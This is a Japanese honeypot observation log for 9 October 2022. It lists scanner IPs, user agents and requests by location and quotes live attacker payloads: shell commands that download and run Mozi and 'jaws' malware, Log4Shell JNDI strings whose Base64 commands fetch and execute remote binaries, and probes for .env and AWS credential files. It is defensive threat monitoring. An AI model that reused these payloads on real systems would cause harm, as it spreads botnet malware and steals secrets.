2022/10/09 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2022/10/09分です。

特徴

共通

GPONルータの脆弱性を狙うアクセス
Telerik UIの脆弱性(CVE-2019-18935)を狙うアクセス
/.envへのスキャン行為

Location:JP

Apache Log4j2の脆弱性(CVE-2021-44228)を狙うアクセス
CensysInspectによるスキャン行為
phpMyAdminへのスキャン行為
5.188.210.227に関する不正通信

を確認しました。

Location:US

Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
CensysInspectによるスキャン行為
WordPressへのスキャン行為
UserAgentがHello, Worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  neverwinwlaq.xyz/jaws;
sh /tmp/jaws

Location:UK

Apache Log4j2の脆弱性(CVE-2021-44228)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
phpMyAdminへのスキャン行為
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://192.168.1.1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location:SG

Apache Log4j2の脆弱性(CVE-2021-44228)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
CensysInspectによるスキャン行為
.jsへのスキャン行為
/.awsへのスキャン行為
/.gitへのスキャン行為
5.188.210.227に関する不正通信

を確認しました。

他

アクセス数推移

JP：総アクセス数：77 (前日比：1)
US：総アクセス数：82 (前日比：15)
UK：総アクセス数：52 (前日比：-95)
SG：総アクセス数：147 (前日比：53)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	3.17.65.249	United States
1	5.188.210.227	Russia
1	20.74.83.204	United States
1	20.125.102.180	United States
1	23.251.102.74	United States
1	36.110.211.5	China
2	36.110.214.195	China
2	45.61.185.198	United States
2	46.101.83.241	United States
2	80.76.51.246	Bulgaria
1	87.236.176.10	Belgium
8	95.214.235.205	Ukraine
18	123.157.222.168	China
8	135.125.217.54	France
9	135.125.246.189	France
1	146.190.23.50	United States
1	161.35.213.88	United States
1	167.94.138.47	United States
1	167.94.146.60	United States
1	167.99.144.251	United States
1	172.105.50.6	United States
1	185.36.81.23	United Kingdom
1	185.220.101.189	Germany
2	185.254.196.115	Ukraine
2	188.166.178.68	United States
1	192.241.196.48	United States
1	195.178.120.116	Bulgaria
1	205.210.31.3	United States
1	209.127.108.193	Canada
3	212.83.150.86	France

UserAgent一覧

件数	UserAgent
24	`-`
4	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36`
28	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
2	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
3	`Wget/1.21`
1	`python-requests/2.28.1`
1	`t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//159[.]89[.]93[.]208:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87ICB3Z2V0IGh0dHA6Ly8xOTIuMjQxLjEzNy4xNTYvdm9pZC54ODY7IGN1cmwgLU8gaHR0cDovLzE5Mi4yNDEuMTM3LjE1Ni92b2lkLng4NjsgY2F0IHZvaWQueDg2ID52b2lkO2NobW9kICt4ICo7Li92b2lkLng4NiB0ZWthc29lc3RldmVhcXVp}')`
1	`xxx`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_18.179.20.5_80\n`
5		`\x16\x03\x01`
32	GET	`/.env`	HTTP/1.1
1	GET	`/:80:undefined?id=`	HTTP/1.1
1	GET	`/HNAP1`	HTTP/1.1
1	GET	`/Telerik.Web.UI.WebResource.axd?type=rau`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
2	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/db/scripts/setup.php`	HTTP/1.1
1	GET	`/debug/default/view?panel=config`	HTTP/1.1
8	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/myadmin/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.9.2/scripts/setup.php`	HTTP/1.1
1	GET	`http[:]//18[.]179[.]20[.]5:80/db/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/myadmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/mysql/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/mysqladmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.10.0.2/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.10.2/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.10.3/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.11.0/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.11.1.2/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.11.3/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.11.4/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.11.7/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.11.9.2/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.8.0.2/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin2/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/pma/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//5[.]188[.]210[.]227/echo.php`	HTTP/1.1
1	POST	`/api/v0/id`	HTTP/1.1
1	POST	`/boaform/admin/formLogin`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	3.17.65.249	United States
1	4.233.137.231	United States
1	35.197.54.129	United States
1	45.61.185.198	United States
2	45.227.254.53	Belize
1	51.79.29.48	Canada
1	52.157.82.218	United States
15	54.37.79.75	France
1	64.225.105.79	United States
1	65.49.20.96	United States
1	68.204.111.59	United States
18	81.161.229.32	Bulgaria
1	82.156.202.50	China
2	92.255.85.183	Hong Kong
1	120.85.113.122	China
1	128.1.248.42	United States
2	143.110.216.190	United States
2	152.89.196.211	Russia
2	162.142.125.9	United States
2	162.142.125.219	United States
2	167.94.146.58	United States
2	167.99.213.27	United States
2	167.99.216.209	United States
2	167.248.133.63	United States
1	179.60.147.13	Belize
1	181.214.206.161	United States
1	181.214.218.69	United States
7	185.254.196.223	Ukraine
2	194.165.16.73	Panama
1	205.210.31.17	United States
1	205.210.31.137	United States
2	206.189.134.250	United States
1	209.141.33.65	United States

UserAgent一覧

件数	UserAgent
24	`-`
1	`Hello, World`
1	`Java/1.8.0_341`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
20	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1500.55 Safari/537.36`
25	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
4	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`

リクエスト内容一覧

件数	Method	Request	Protocol
7		`\x03`
11		`\x16\x03\x01`
1	CONNECT	`www[.]google[.]com:443`	HTTP/1.1
25	GET	`/.env`	HTTP/1.1
1	GET	`/2018/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/2019/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/Telerik.Web.UI.WebResource.axd?type=rau`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/blog/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=admin&psd=admin`	HTTP/1.0
1	GET	`/cms/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/config/getuser?index=0`	HTTP/1.1
6	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/media/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/news/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ neverwinwlaq.xyz/jaws;sh+/tmp/jaws`
1	GET	`/shop/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/site/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/sito/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/test/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/web/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/website/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wordpress/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp1/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp2/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/xmlrpc.php?rsd`	HTTP/1.1
1	HEAD	`/`	HTTP/1.1
1	POST	`/39840899`	HTTP/1.1
1	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
1	POST	`/boaform/admin/formLogin`	HTTP/1.1
4	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	3.17.65.249	United States
1	13.67.89.64	United States
1	20.0.136.226	United States
1	23.251.102.74	United States
1	36.110.211.67	China
1	36.110.214.194	China
3	45.61.185.198	United States
1	45.83.65.232	Germany
1	45.85.190.64	Netherlands
1	64.62.197.193	United States
1	68.183.32.11	United States
1	90.151.171.106	Russia
2	92.255.85.183	Hong Kong
1	120.85.183.57	China
1	120.86.253.25	China
1	121.32.108.81	China
3	134.122.2.235	United States
2	137.184.206.122	United States
3	139.59.7.68	Singapore
2	152.89.196.211	Russia
2	159.203.98.253	United States
1	167.99.144.251	United States
2	178.128.106.220	United States
1	179.60.147.13	Belize
2	183.136.225.35	China
8	185.254.196.223	Ukraine
2	188.166.126.51	United States
1	193.174.89.19	Germany
2	194.165.16.11	Panama
1	198.235.24.131	United States
1	206.189.122.251	United States

UserAgent一覧

件数	UserAgent
22	`-`
1	`Hello, World`
1	`Hello, world`
1	`Java/1.8.0_212`
1	`Java/1.8.0_341`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0`
1	`Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0`
2	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
1	`Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0 (+https[:]//best-proxies.ru/faq/#from)`
9	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
3	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
1	`Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`
2	`Wget/1.21`
1	t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//159[.]89[.]93[.]208:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzE5Mi4yNDEuMTM3LjE1Ni9jMHIwbjR4LnNoOyBjdXJsIC1PIGh0dHA6Ly8xOTIuMjQxLjEzNy4xNTYvYzByMG40eC5zaDsgY2htb2QgNzc3IGMwcjBuNHguc2g7IHNoIGMwcjBuNHguc2g7IHRmdHAgMTkyLjI0MS4xMzcuMTU2IC1jIGdldCBjMHIwbjR4LnNoOyBjaG1vZCA3NzcgYzByMG40eC5zaDsgc2ggYzByMG40eC5zaDsgdGZ0cCAtciBjMHIwbjR4Mi5zaCAtZyAxOTIuMjQxLjEzNy4xNTY7IGNobW9kIDc3NyBjMHIwbjR4Mi5zaDsgc2ggYzByMG40eDIuc2g7IGZ0cGdldCAtdiAtdSBhbm9ueW1vdXMgLXAgYW5vbnltb3VzIC1QIDIxIDE5Mi4yNDEuMTM3LjE1NiBjMHIwbjR4MS5zaCBjMHIwbjR4MS5zaDsgc2ggYzByMG40eDEuc2g7IHJtIC1yZiBjMHIwbjR4LnNoIGMwcjBuNHguc2ggYzByMG40eDIuc2ggYzByMG40eDEuc2g7IHJtIC1yZiAq}')

リクエスト内容一覧

件数	Method	Request	Protocol
1		`9\xc1\x8c\xa6\x16\x8b1\xcb\vy\xe7\xd0kv2\xb8\xcb\"\xb4\n`
5		`\x03`
13		`\x16\x03\x01`
1		`\x85\xf4\x8f\n`
1		`\xee\xd9\xca\xe1W\v\xbcl0S\x9d\xe7W\x06\xde\x8a\xd55=\n`
1	CONNECT	`www[.]dazn[.]com:443`	HTTP/1.1
10	GET	`/.env`	HTTP/1.1
1	GET	`/:80:undefined?id=`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/Telerik.Web.UI.WebResource.axd?type=rau`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/api.json`	HTTP/1.1
3	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/connector.sds`	HTTP/1.1
3	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.0/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin/scripts/setup.php`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws`	HTTP/1.1
1	GET	`http[:]//ip[.]bablosoft[.]com/?Z72612114222Q1`	HTTP/1.1
1	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/boaform/admin/formLogin`	HTTP/1.1

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	3.17.65.249	United States
1	5.188.210.227	Russia
87	18.213.110.165	United States
1	45.42.200.241	United States
1	45.61.185.198	United States
1	45.77.239.190	United States
2	45.227.254.54	Belize
1	46.101.31.77	United States
3	46.101.88.64	United States
22	51.79.29.48	Canada
1	52.157.82.218	United States
1	66.240.192.82	United States
2	80.76.51.246	Bulgaria
1	85.225.171.203	Sweden
1	87.236.176.72	Belgium
1	92.255.85.183	Hong Kong
1	117.198.242.229	India
1	128.14.134.170	United States
1	139.28.37.166	Ukraine
1	144.168.158.214	Canada
2	152.89.196.211	Russia
2	162.142.125.221	United States
2	167.94.145.59	United States
1	167.99.144.251	United States
2	167.248.133.117	United States
1	179.60.147.13	Belize
2	183.136.225.35	China
1	185.220.101.174	Germany
1	192.241.214.169	United States
1	198.235.24.153	United States
1	221.198.91.45	China

UserAgent一覧

件数	UserAgent
16	`-`
2	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
87	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1`
1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
25	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
3	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
1	`python-requests/2.27.1`
1	`t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//159[.]89[.]93[.]208:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87ICB3Z2V0IGh0dHA6Ly8xOTIuMjQxLjEzNy4xNTYvdm9pZC54ODY7IGN1cmwgLU8gaHR0cDovLzE5Mi4yNDEuMTM3LjE1Ni92b2lkLng4NjsgY2F0IHZvaWQueDg2ID52b2lkO2NobW9kICt4ICo7Li92b2lkLng4NiB0ZWthc29lc3RldmVhcXVp}')`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`27;wget%20http[:]//%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$`	HTTP/1.0
1		`MGLNDD_13.67.44.234_80`
4		`\x03`
4		`\x16\x03\x01`
1		`\xbdW\xa1\x04\x19?neG\x98\xab\|`
1		`\xf3\x95'\x81`	\xa7\x9f?\x13\xed&\xb4\x015\xe0x\x98\x03H\x18\xb8'
1	GET	`/.aws/credentials`	HTTP/1.1
1	GET	`/.config/gatsby/config.json`	HTTP/1.1
1	GET	`/.cordova/config.json`	HTTP/1.1
1	GET	`/.deployment-config.json`	HTTP/1.1
1	GET	`/.docker/.env`	HTTP/1.1
1	GET	`/.docker/config.json`	HTTP/1.1
1	GET	`/.docker/daemon.json`	HTTP/1.1
1	GET	`/.docker/laravel/app/.env`	HTTP/1.1
1	GET	`/.env.backup`	HTTP/1.1
1	GET	`/.env.bak`	HTTP/1.1
1	GET	`/.env.dev`	HTTP/1.1
1	GET	`/.env.development.local`	HTTP/1.1
1	GET	`/.env.dist`	HTTP/1.1
1	GET	`/.env.docker.dev`	HTTP/1.1
1	GET	`/.env.local`	HTTP/1.1
1	GET	`/.env.php`	HTTP/1.1
1	GET	`/.env.prod`	HTTP/1.1
1	GET	`/.env.production.local`	HTTP/1.1
1	GET	`/.env.sample.php`	HTTP/1.1
1	GET	`/.env.save`	HTTP/1.1
1	GET	`/.env.stage`	HTTP/1.1
1	GET	`/.env.test.localapi/.env`	HTTP/1.1
1	GET	`/.env.test`	HTTP/1.1
26	GET	`/.env`	HTTP/1.1
1	GET	`/.environment`	HTTP/1.1
1	GET	`/.envrc`	HTTP/1.1
1	GET	`/.envs`	HTTP/1.1
1	GET	`/.env~`	HTTP/1.1
1	GET	`/.gitlab-ci/.env`	HTTP/1.1
1	GET	`/.jupyter/jupyter_notebook_config.json`	HTTP/1.1
1	GET	`/.lanproxy/config.json`	HTTP/1.1
1	GET	`/.msmtprc`	HTTP/1.1
1	GET	`/.s3cfg`	HTTP/1.1
1	GET	`/.vscode/.env`	HTTP/1.1
1	GET	`/:80:undefined?id=`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/HNAP1/`	HTTP/1.1
1	GET	`/Telerik.Web.UI.WebResource.axd?type=rau`	HTTP/1.1
1	GET	`/_profiler/empty/search/results`	HTTP/1.1
2	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/_wpeprivate/config.json`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/admin/.env`	HTTP/1.1
1	GET	`/app/config.yml`	HTTP/1.1
1	GET	`/app/config/parameters.yml`	HTTP/1.1
1	GET	`/asdf.php`	HTTP/1.1
1	GET	`/beta/.env`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=ec8&psd=ec8`	HTTP/1.0
1	GET	`/config.env`	HTTP/1.1
1	GET	`/config.js`	HTTP/1.1
1	GET	`/config.json`	HTTP/1.1
1	GET	`/config/config.js`	HTTP/1.1
1	GET	`/config/config.json`	HTTP/1.1
1	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/config/secrets.yml`	HTTP/1.1
1	GET	`/console/base/config.json`	HTTP/1.1
1	GET	`/console/payments/config.json`	HTTP/1.1
1	GET	`/dashboard/phpinfo.php`	HTTP/1.1
1	GET	`/database.yml`	HTTP/1.1
2	GET	`/debug/default/view?panel=config`	HTTP/1.1
1	GET	`/env.backup`	HTTP/1.1
1	GET	`/env.config.js`	HTTP/1.1
1	GET	`/env.js`	HTTP/1.1
7	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/frontend_dev.php/$`	HTTP/1.1
1	GET	`/i.php`	HTTP/1.1
1	GET	`/info.json`	HTTP/1.1
1	GET	`/info.php`	HTTP/1.1
1	GET	`/infophp.php`	HTTP/1.1
1	GET	`/infos.php`	HTTP/1.1
1	GET	`/js/config.js`	HTTP/1.1
1	GET	`/js/envConfig.js`	HTTP/1.1
1	GET	`/kyc/.env`	HTTP/1.1
1	GET	`/laravel/.env`	HTTP/1.1
1	GET	`/laravel/core/.env`	HTTP/1.1
1	GET	`/linusadmin-phpinfo.php`	HTTP/1.1
1	GET	`/mailer/.env`	HTTP/1.1
1	GET	`/old_phpinfo.php`	HTTP/1.1
1	GET	`/php-info.php`	HTTP/1.1
1	GET	`/php.ini`	HTTP/1.1
1	GET	`/php.php`	HTTP/1.1
1	GET	`/phpinfo.php`	HTTP/1.1
1	GET	`/phpinfo`	HTTP/1.1
1	GET	`/phpversion.php`	HTTP/1.1
1	GET	`/pinfo.php`	HTTP/1.1
1	GET	`/prod/.env`	HTTP/1.1
1	GET	`/public/.env`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/secrets.yml`	HTTP/1.1
1	GET	`/server/config.json`	HTTP/1.1
1	GET	`/temp.php`	HTTP/1.1
1	GET	`/test.php`	HTTP/1.1
1	GET	`/time.php`	HTTP/1.1
1	GET	`/twitter/.env`	HTTP/1.1
1	GET	`/wp-config.php-backup`	HTTP/1.1
1	GET	`/wp-config.php.bak`	HTTP/1.1
1	GET	`/wp-config.php.old`	HTTP/1.1
1	GET	`http[:]//5[.]188[.]210[.]227/echo.php`	HTTP/1.1
1	POST	`/boaform/admin/formLogin`	HTTP/1.1
3	PRI	`*`	HTTP/2.0